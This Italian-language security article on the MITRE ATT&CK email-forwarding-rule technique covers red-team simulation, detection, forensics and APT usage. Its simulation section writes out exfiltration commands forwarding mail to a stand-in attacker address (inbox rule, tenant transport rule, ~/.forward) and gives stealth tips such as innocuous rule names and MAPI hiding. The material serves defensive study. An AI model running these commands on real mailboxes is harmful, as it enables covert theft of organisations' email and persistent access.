Regole di Inoltro Email: Email Forwarding Rule (T1114.003)

La simulazione di questa tecnica in un engagement red team richiede l'accesso a una casella di posta compromessa — tipicamente ottenuto tramite phishing, password spraying o abuso di token OAuth. Una volta dentro, il passo successivo è creare la regola di inoltro e verificarne la persistenza dopo un ipotetico reset credenziali.

Scenario Exchange Online / Microsoft 365. Il punto di partenza è la connessione al tenant Exchange Online tramite il modulo PowerShell ufficiale. Dopo l'autenticazione con credenziali compromesse (o token d'accesso):

Connect-ExchangeOnline -UserPrincipalName vittima@dominio.com

Si crea una inbox rule che inoltra tutto verso un indirizzo esterno controllato dall'operatore:

New-InboxRule -Name "RSS Subscription" -ForwardTo attacker@exfil-domain.com -MarkAsRead $true -Mailbox vittima@dominio.com

Il flag -MarkAsRead segna i messaggi come letti, riducendo la probabilità che la vittima noti l'attività. Il nome della regola dovrebbe essere innocuo — "RSS Subscription", "Calendar Sync", "Backup" funzionano bene.

Per simulare lo scenario più aggressivo documentato da LAPSUS$, che ha creato transport rule a livello tenant per catturare tutto il traffico email dell'organizzazione:

New-TransportRule -Name "Journal Archive Rule" -FromScope InOrganization -BlindCopyTo attacker@exfil-domain.com

Questa regola opera a livello organizzativo, intercettando tutti i messaggi interni e in uscita senza toccare le singole mailbox. È estremamente rumorosa ma devastante se non individuata.

Scenario MAPI — regola nascosta. Per replicare la tecnica di occultamento tramite MAPI, lo strumento di riferimento è MFCMAPI (open source), il MAPI Editor di Microsoft disponibile su GitHub. Consente di accedere direttamente al database della mailbox, navigare nella tabella delle regole e modificare le proprietà PR_RULE_MSG_PROVIDER e PR_RULE_ACTIONS per rendere la regola invisibile a Outlook e alla console di amministrazione Exchange.

Scenario Linux — file .forward. Su server che utilizzano MTA tradizionali come Postfix o Sendmail, l'inoltro si configura semplicemente scrivendo un indirizzo nel file .forward nella home directory dell'utente:

echo "attacker@exfil-domain.com" > ~/.forward

Per ambienti con Procmail, la stessa operazione si esegue aggiungendo una ricetta nel file .procmailrc che duplica i messaggi verso l'indirizzo controllato.

Scenario macOS — Apple Mail. Le regole di Apple Mail vengono salvate in file plist sotto la directory ~/Library/Mail. È possibile manipolarle tramite AppleScript o editando direttamente il plist con defaults write o plutil, anche se questo approccio richiede accesso locale alla macchina.

Il tool MailSniper (open source) è utile per enumerare le regole esistenti su mailbox Exchange durante la fase di ricognizione, prima di decidere dove iniettare nuove regole senza sovrapporsi a quelle legittime.

Il punto di forza di questa tecnica è la sua legittimità apparente: le regole di inoltro sono una funzionalità nativa di qualsiasi client di posta. La sfida del SOC non è tanto individuare la creazione di una regola, quanto distinguere quella malevola dalle centinaia di regole legittime configurate quotidianamente dagli utenti.

Log source primari. Per ambienti Microsoft 365, i log fondamentali sono tre: il Unified Audit Log (disponibile in m365:unified), il Message Trace (m365:messagetrace) e i log PowerShell se il cmdlet viene eseguito da sessione remota. Il Unified Audit Log registra eventi specifici come New-InboxRule, Set-InboxRule, Set-Mailbox (quando viene configurato il campo ForwardingSMTPAddress) e New-TransportRule. La correlazione tra questi eventi è la base di qualsiasi detection efficace.

Su Windows, i log del canale WinEventLog:PowerShell (EventID 4104 per lo script block logging) catturano l'esecuzione dei cmdlet Exchange. Sul canale WinEventLog:Security, l'EventID 4688 con command line auditing abilitato registra l'avvio dei processi PowerShell con i relativi argomenti.

Per macOS, il monitoraggio si concentra su due fronti: l'Unified Log di sistema per catturare l'esecuzione di AppleScript e il file system monitoring sui plist di Apple Mail. Su Linux, auditd configurato con watch sulle directory home (in particolare sui file .forward e .procmailrc) genera eventi SYSCALL ad ogni modifica.

Logica di detection comportamentale. L'alert più efficace non si limita a segnalare ogni New-InboxRule, ma correla diversi fattori. In primo luogo, la destinazione dell'inoltro: se il dominio di destinazione è esterno all'organizzazione e non figura in una whitelist di partner autorizzati, la priorità sale. In secondo luogo, il contesto utente: una regola creata da un account che ha subito un reset password nelle ultime 48 ore è altamente sospetta.

Per le transport rule a livello tenant — lo scenario LAPSUS$ — il monitoraggio degli eventi New-TransportRule dovrebbe generare un alert ad alta severità quasi incondizionato, dato che la creazione di regole di trasporto è un'operazione rara e tipicamente pianificata.

Gestione dei falsi positivi. Il tuning si articola su tre assi:

• UserContext: escludere account di servizio e admin autorizzati che gestiscono regole come parte di workflow documentati
• TargetMailbox: mantenere una whitelist di indirizzi di inoltro autorizzati per organizzazione (es. sistemi di ticketing, CRM)
• TimeWindow: correlare la creazione della regola con attività di forwarding effettivo entro un intervallo definito (24-48 ore)

Per le regole MAPI nascoste, i normali log di audit non sono sufficienti. L'approccio raccomandato è eseguire periodicamente il cmdlet Get-InboxRule su tutte le mailbox e confrontare il risultato con la vista Outlook/OWA: discrepanze indicano regole occultate tramite manipolazione diretta del database.

L'analisi forense di una regola di inoltro malevola si muove lungo due direttrici: ricostruire quando e come la regola è stata creata, e quantificare cosa è stato esfiltrato attraverso di essa.

Artefatti Microsoft 365. Il punto di partenza è il Unified Audit Log. Le entry di tipo New-InboxRule e Set-Mailbox contengono campi critici per la timeline: il timestamp di creazione, l'identità dell'attore (campo ActorId), l'indirizzo IP di origine e i parametri della regola, incluso il ForwardingSMTPAddress di destinazione. Per le transport rule, le entry New-TransportRule includono le condizioni e le azioni configurate, permettendo di comprendere esattamente quale traffico è stato intercettato.

Il Message Trace completa il quadro: filtrando per l'indirizzo di destinazione dell'inoltro, è possibile ricostruire l'elenco completo dei messaggi esfiltrati, con mittente, oggetto, timestamp e dimensione. Questa correlazione tra regola e traffico effettivo trasforma un'evidenza di compromissione in una stima precisa del danno.

Artefatti Exchange on-premises. In ambienti ibridi o on-premises, le regole inbox sono memorizzate nel database Exchange come oggetti MAPI. Il MFCMAPI (open source) consente di navigare la struttura del database fino alla tabella delle regole e ispezionare le proprietà di ciascuna, incluse quelle nascoste. Le proprietà chiave sono PR_RULE_CONDITION, PR_RULE_ACTIONS e PR_RULE_PROVIDER_DATA. Un confronto tra il conteggio delle regole visibili in Outlook e quelle presenti nel database MAPI rivela immediatamente eventuali regole occultate.

I log di Exchange Admin Audit (Search-AdminAuditLog) registrano le esecuzioni dei cmdlet amministrativi, fornendo un secondo livello di verifica indipendente dal Unified Audit Log.

Artefatti endpoint. Su macOS, le regole di Apple Mail risiedono in file plist nella directory ~/Library/Mail. L'analisi del timestamp di modifica del file, incrociata con i log dell'Unified Log di sistema, consente di determinare se la modifica è avvenuta tramite l'interfaccia utente o tramite script automatizzati (AppleScript, defaults write). Quest'ultimo caso è un indicatore forte di manipolazione malevola.

Su Linux, il file ~/.forward e il file ~/.procmailrc sono i due artefatti primari. I log di auditd — in particolare gli eventi SYSCALL con syscall openat e flag O_WRONLY sulla directory home — forniscono il timestamp esatto della modifica e il processo responsabile. Su Thunderbird, il file msgFilterRules.dat nella directory del profilo contiene le regole filtro in formato testo leggibile, facilmente analizzabile.

Costruzione della timeline. La sequenza tipica da ricostruire è: accesso iniziale (login sospetto) → creazione della regola → inizio del traffico di inoltro → eventuale reset credenziali da parte dell'amministratore → continuazione del traffico (conferma della persistenza). Quest'ultimo passaggio è il marcatore distintivo: se l'inoltro prosegue dopo il reset password, la regola è stata configurata come meccanismo di persistenza deliberato, non come semplice raccolta opportunistica.

Cinque gruppi APT documentati impiegano questa tecnica, ma con modalità, obiettivi e livelli di sofisticazione molto diversi. L'analisi dei pattern rivela almeno due approcci distinti.

Scattered Spider (G1015) si distingue per un uso tattico e mirato della tecnica: reindirizza specificamente le email che notificano la vittima di attività sospette sull'account. Non si tratta di raccolta dati in senso classico, ma di un meccanismo di evasione — impedire che l'utente riceva alert di sicurezza e reagisca alla compromissione. Questo approccio è coerente con il profilo del gruppo, noto per attacchi ad alta velocità contro grandi organizzazioni, dove il mantenimento dell'accesso nelle prime ore critiche è essenziale.

LAPSUS$ (G1004) porta la tecnica al livello più aggressivo, creando transport rule a livello tenant che catturano l'intero flusso email dell'organizzazione e lo reindirizzano verso un account appena creato. È un approccio a bassa furtività ma ad altissimo impatto, perfettamente in linea con il modus operandi del gruppo — azioni eclatanti, orientate alla raccolta massiva più che alla persistenza a lungo termine.

Star Blizzard (G1033) rappresenta il polo opposto: utilizza le regole di inoltro per monitoraggio a lungo termine, raccolta di intelligence e mantenimento dell'accesso persistente anche dopo il reset delle credenziali. Questo profilo suggerisce operazioni di spionaggio tradizionale, dove il valore è nella continuità dell'accesso piuttosto che nell'impatto immediato.

Silent Librarian (G0122) e Kimsuky (G0094) condividono un approccio simile — la configurazione di regole di auto-forwarding sugli account compromessi — ma con target geografici e settoriali diversi. Silent Librarian è storicamente focalizzato sul settore accademico e della ricerca, mentre Kimsuky opera prevalentemente contro organizzazioni governative e think tank.

Pattern operativi trasversali. L'elemento comune a tutti i gruppi è l'utilizzo della tecnica dopo la compromissione delle credenziali, il che implica che il monitoraggio delle regole di inoltro è un indicatore di seconda fase — segnala che l'accesso iniziale è già avvenuto. La divergenza principale è tra approccio chirurgico (Scattered Spider, che filtra specifiche notifiche) e approccio massivo (LAPSUS$, che cattura tutto il traffico). Il trend emergente è l'uso della tecnica non solo per la raccolta dati ma come meccanismo di persistenza indipendente dalle credenziali, come documentato per Star Blizzard — un aspetto che eleva la priorità di detection per qualsiasi organizzazione.

Framework MITRE ATT&CK v16 — Tecnica T1114.003 (Email Forwarding Rule), Tattica TA0009 (Collection). Gruppi: G1015, G0122, G1004, G1033, G0094. Mitigazioni: M1042, M1041, M1047, M1060. Detection: DET0576 (AN1589, AN1590, AN1591, AN1592). Tool citati: MFCMAPI, MailSniper. Integrato con conoscenza professionale per tool e procedure operative.